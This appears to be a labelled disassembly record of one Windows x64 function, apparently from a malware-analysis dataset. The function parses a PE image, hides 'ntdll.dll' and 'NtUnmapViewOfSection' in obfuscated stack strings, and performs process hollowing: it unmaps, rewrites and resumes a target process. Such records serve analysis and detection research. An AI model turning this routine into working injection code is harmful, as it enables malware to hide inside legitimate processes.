Function at 0x140004270
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x78]
sub rsp, 0x178
mov qword [rbp - 0x68], 0xfffffffffffffffe
mov rax, qword [0x140071080]
xor rax, rsp
mov qword [rbp + 0x68], rax
mov r13, r9
mov r15, r8
mov r14, rdx
mov rsi, rcx
mov qword [rbp - 0x70], rcx
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x58], rax
xor edi, edi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
or rbx, 0xffffffffffffffff
mov dword [rbp + 0x50], ebx
lea rcx, [rbp + 0x50]
call fcn.14001f4cc
mov r12b, byte [rbp + 0xf8]
xor ecx, ecx
test r12b, r12b
je 0x140004416
movdqa xmm0, xmmword [0x140066580]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], cl
mov r9b, byte [rbp + 0xf0]
lea r8, [rbp + 0x30]
lea rdx, [rsp + 0x78]
mov ecx, eax
call fcn.14001c9d4
xor edx, edx
test al, al
je 0x14000438e
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14000438e
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
call fcn.14000a7a4
xor ecx, ecx
test eax, eax
je 0x140004372
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x68]
call fcn.14000a8b8
xor ecx, ecx
test eax, eax
je 0x140004353
mov dil, 1
jmp 0x1400043d2
mov word [rbp + 0x50], 0x3231
mov byte [rbp + 0x52], cl
lea rax, [rbp + 0x50]
mov r8, rbx
inc r8
cmp byte [rax + r8], cl
jne 0x140004363
lea rdx, [rbp + 0x50]
jmp 0x1400043c9
mov word [rbp + 0x51], 0x31
mov byte [rbp + 0x50], 0x31
lea rax, [rbp + 0x50]
mov r8, rbx
inc r8
cmp byte [rax + r8], cl
jne 0x140004383
jmp 0x14000436c
mov word [rbp + 0x51], 0x5f30
mov byte [rbp + 0x53], dl
mov byte [rbp + 0x50], 0x31
lea rax, [rbp + 0x50]
mov r8, rbx
inc r8
cmp byte [rax + r8], dl
jne 0x1400043a2
lea rdx, [rbp + 0x50]
mov rcx, r13
call fcn.1400266ec
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rdx, qword [rbp + 0x30]
mov r8, qword [rbp + 0x40]
mov rcx, r13
call fcn.1400266ec
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x14000440d
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004408
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b23
call fcn.140029444
test dil, dil
je 0x140004afb
lea rdx, [0x140064ef0]
lea rcx, [rbp + 0x30]
call fcn.1400010e0
cmp qword [rax + 0x18], 0x10
jb 0x140004430
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140004477
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004472
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b29
call fcn.140029444
movdqa xmm0, xmmword [0x140066580]
movdqu xmmword [rbp + 0x40], xmm0
xor eax, eax
mov byte [rbp + 0x30], al
test rdi, rdi
je 0x140004ad6
lea rdx, [0x1400640a0]
lea rcx, [rbp + 0x10]
call fcn.1400010e0
cmp qword [rax + 0x18], 0x10
jb 0x1400044ac
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400735f0], rax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400044fa
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b2f
call fcn.140029444
lea rdx, [0x1400640d0]
lea rcx, [rbp + 0x10]
call fcn.1400010e0
cmp qword [rax + 0x18], 0x10
jb 0x140004514
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400735e8], rax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140004562
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000455d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b35
call fcn.140029444
lea rdx, [0x140064100]
lea rcx, [rbp + 0x10]
call fcn.1400010e0
cmp qword [rax + 0x18], 0x10
jb 0x14000457c
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400735e0], rax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400045ca
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400045c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b3b
call fcn.140029444
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x140004971
movsxd rsi, dword [rsi + 0x3c]
add rsi, qword [rbp - 0x70]
cmp dword [rsi], 0x4550
jne 0x140004955
lea rdx, [rbp - 0x80]
mov rcx, r14
call fcn.140009810
mov ecx, 0x14c
mov eax, dword [rbp - 0x80]
xor r8d, r8d
cmp word [rsi + 4], cx
jne 0x140004611
test eax, eax
jne 0x140004afb
mov ecx, 0x8664
cmp word [rsi + 4], cx
jne 0x140004625
cmp eax, 6
jne 0x140004afb
lea rdi, [rbp + 0x30]
xor eax, eax
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x60]
lea edx, [rax + 0x68]
mov ecx, edx
rep stosb byte [rdi], al
mov dword [rbp - 0x60], edx
mov dword [rbp - 0x24], 0x101
mov word [rbp - 0x20], r8w
lea rax, [rbp + 0x30]
test r12b, r12b
je 0x14000467d
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x38], rax
mov r8, r15
mov rdx, r14
mov rcx, qword [rsp + 0x70]
call fcn.14000a9b4
jmp 0x140004696
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov rdx, r15
mov rcx, r14
call fcn.14000ab14
xor r14d, r14d
test eax, eax
je 0x14000493c
lea edx, [r14 + 0xc]
call fcn.140018590
mov r15, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp + 0x38]
call fcn.140018680
test eax, eax
je 0x140004923
mov rdx, qword [r15 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r14
lea r9d, [r14 + 8]
lea r8, [rbp - 0x78]
mov rcx, qword [rbp + 0x30]
call qword [0x1400735f0]
mov dword [rbp + 0x50], 0x5f3777
lea rax, [rbp + 0x50]
mov r8, rbx
inc r8
cmp byte [rax + r8], r14b
jne 0x1400046f8
lea rdx, [rbp + 0x50]
mov rdi, qword [rbp + 0x58]
mov rcx, rdi
call fcn.1400266ec
lea r12, [rsi + 0x30]
mov eax, dword [rbp - 0x78]
mov word [rbp + 0x50], 0x6d69
mov r8, rbx
cmp rax, qword [r12]
lea rax, [rbp + 0x50]
jne 0x140004746
mov word [rbp + 0x52], 0x6f67
mov word [rbp + 0x55], 0x5f
mov byte [rbp + 0x54], 0x6f
inc r8
cmp byte [rax + r8], r14b
jne 0x14000473b
jmp 0x14000475a
mov dword [rbp + 0x53], 0x5f6666
mov byte [rbp + 0x52], 0x67
inc r8
cmp byte [rax + r8], r14b
jne 0x140004751
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.1400266ec
mov eax, dword [rbp - 0x78]
cmp rax, qword [r12]
jne 0x140004822
mov dword [rbp + 0x5b], 0x642e6c6c
mov word [rbp + 0x60], 0x6c
mov byte [rbp + 0x5f], 0x6c
mov word [rbp + 0x58], 0x746e
mov byte [rbp + 0x5a], 0x64
mov dword [rbp + 0x11], 0x6d6e5574
mov word [rbp + 0x20], 0x6974
mov word [rbp + 0x23], 0x6e
mov dword [rbp + 0x1a], 0x53664f77
mov dword [rbp + 0x16], 0x65695670
mov word [rbp + 0x1e], 0x6365
mov byte [rbp + 0x10], 0x4e
mov byte [rbp + 0x22], 0x6f
mov byte [rbp + 0x15], 0x61
lea rcx, [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x78]
mov rcx, qword [rbp + 0x30]
call rax
mov r8, rbx
test eax, eax
lea rax, [rbp + 0x50]
jne 0x1400047ff
mov dword [rbp + 0x50], 0x637573
inc r8
cmp byte [rax + r8], r14b
jne 0x1400047f4
jmp 0x140004816
mov word [rbp + 0x51], 0x6666
mov byte [rbp + 0x53], r14b
mov byte [rbp + 0x50], 0x66
inc r8
cmp byte [rax + r8], r14b
jne 0x14000480d
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.1400266ec
neg byte [rbp + 0xe8]
sbb eax, eax
and eax, 0x3c
add eax, 4
mov r8d, dword [rsi + 0x50]
mov dword [rsp + 0x20], eax
mov rdx, qword [r12]
mov rcx, qword [rbp + 0x30]
call fcn.140018764
mov r14, rax
test rax, rax
je 0x1400048ef
mov r9d, dword [rsi + 0x54]
mov r13, qword [rbp - 0x70]
mov r8, r13
mov rdx, rax
mov rcx, qword [rbp + 0x30]
call fcn.14000ac3c
movzx edi, word [rsi + 0x14]
add rdi, 0x2c
xor eax, eax
mov ebx, eax
cmp ax, word [rsi + 6]
jae 0x1400048a4
add rdi, rsi
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, r13
mov edx, dword [rdi - 8]
add rdx, r14
mov rcx, qword [rbp + 0x30]
call fcn.14000ac3c
lea rdi, [rdi + 0x28]
inc ebx
movzx eax, word [rsi + 6]
cmp ebx, eax
jl 0x14000487d
mov rdx, qword [r15 + 0x88]
add rdx, 0x10
mov r9d, 8
mov r8, r12
mov rcx, qword [rbp + 0x30]
call fcn.14000ac3c
mov eax, dword [rsi + 0x28]
add rax, r14
mov qword [r15 + 0x80], rax
mov rdx, r15
mov rcx, qword [rbp + 0x38]
call qword [0x1400735e8]
mov rcx, qword [rbp + 0x38]
call qword [0x1400735e0]
mov bl, 1
xor r14d, r14d
jmp 0x14000499d
mov word [rbp + 0x50], 0x3831
xor r14d, r14d
mov byte [rbp + 0x52], r14b
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x140004900
mov r8, rbx
lea rdx, [rbp + 0x50]
mov rcx, r13
call fcn.1400266ec
mov rcx, qword [rbp + 0x30]
call fcn.140022bb4
jmp 0x14000499a
mov word [rbp + 0x50], 0x3731
mov byte [rbp + 0x52], r14b
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x140004931
jmp 0x140004909
mov word [rbp + 0x51], 0x36
mov byte [rbp + 0x50], 0x31
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x14000494a
jmp 0x14000498b
mov word [rbp + 0x50], 0x3531
xor r14d, r14d
mov byte [rbp + 0x52], r14b
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x140004966
jmp 0x14000498b
mov word [rbp + 0x50], 0x3431
xor r14d, r14d
mov byte [rbp + 0x52], r14b
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x140004982
mov r8, rbx
lea rdx, [rbp + 0x50]
mov rcx, r13
call fcn.1400266ec
mov bl, r14b
cmp qword [rsp + 0x68], r14
je 0x140004aaf
lea rdx, [0x140064120]
lea rcx, [rbp + 0x30]
call fcn.1400010e0
nop
cmp qword [rax + 0x18], 0x10
jb 0x1400049c3
mov rax, qword [rax]
mov rcx, rax
call fcn.14000ad30
mov rdi, rax
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140004a09
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b41
call fcn.140029444
movdqa xmm0, xmmword [0x140066580]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], r14b
test rdi, rdi
je 0x140004aaf
lea rdx, [0x140064140]
lea rcx, [rbp + 0x10]
call fcn.1400010e0
cmp qword [rax + 0x18], 0x10
jb 0x140004a3d
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140073618], rax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140004a92
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a86
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b1d
call fcn.140029444
mov rax, qword [0x140073618]
movdqa xmm0, xmmword [0x140066580]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], r14b
test rax, rax
je 0x140004aaf
mov rcx, qword [rsp + 0x68]
call rax
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140004ac3
call fcn.140021c0c
mov qword [rsp + 0x70], r14
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140004ad2
call fcn.140021c0c
mov al, bl
jmp 0x140004afd
mov word [rbp + 0x51], 0x33
mov byte [rbp + 0x50], 0x31
lea rcx, [rbp + 0x50]
inc rbx
cmp byte [rcx + rbx], al
jne 0x140004ae4
mov r8, rbx
lea rdx, [rbp + 0x50]
mov rcx, r13
call fcn.1400266ec
xor al, al
mov rcx, qword [rbp + 0x68]
xor rcx, rsp
call fcn.140029420
add rsp, 0x178
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14002d914
int3
call fcn.14002d914
int3
call fcn.14002d914
int3
call fcn.14002d914
int3
call fcn.14002d914
int3
call fcn.14002d914
int3
call fcn.14002d914
int3